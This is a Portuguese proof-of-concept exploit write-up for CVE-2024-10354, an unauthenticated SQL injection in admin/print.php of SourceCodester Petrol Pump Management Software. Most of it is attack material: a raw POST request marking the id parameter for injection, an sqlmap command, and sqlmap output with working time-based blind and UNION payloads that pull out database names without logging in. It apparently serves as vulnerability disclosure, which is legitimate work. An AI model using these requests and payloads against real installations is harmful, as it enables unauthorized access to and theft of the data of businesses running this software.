
Exploit de prova de conceito para CVE-2024-10354: injeção SQL no SourceCodester Petrol Pump Management Software v1.0. Demonstra injeção cega baseada em tempo não autenticada e injeção de consulta UNION via admin/print.php para extrair conteúdos do banco de dados.
Software de gerenciamento de bomba de gasolina download gratuito | SourceCodester
Vulnerabilidade de SQL Injection no software de gerenciamento de bomba de gasolina sourcecodester v1.0. Uma vulnerabilidade foi encontrada, classificada como de alto risco, afetando alguma funcionalidade desconhecida do arquivo admin\print.php. Usando o parâmetro id para construir instruções SQL maliciosas para obter informações sensíveis, causando assim danos.
admin\print.php

Aqui, a entrada do usuário $_POST['id'] é concatenada na instrução da consulta SQL, o que é obviamente suscetível a ataques de injeção de SQL.

POST /admin/print.php HTTP/1.1
Host: 10.151.167.168:6677
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
id=1*
Salve o pacote e use o ataque sqlmap
payload:
python3 sqlmap.py --random-agent --batch -r data.txt --risk 3 --dbs

---
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 8405 FROM (SELECT(SLEEP(5)))RBvx) AND 'WWQR'='WWQR
Type: UNION query
Title: Generic UNION query (NULL) - 16 columns
Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171706271,0x744d4a644a516944425443614f4c594948754b4a746356615251435951444f72597a74534274424a,0x71706a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
Observe o pacote: não adicionei um valor de cookie, indicando que nenhuma autenticação é necessária para iniciar ataques remotamente.
Você pode ver que este payload utiliza dois métodos de injeção: blind baseado em tempo e consulta UNION, e injeta com sucesso o nome do banco de dados.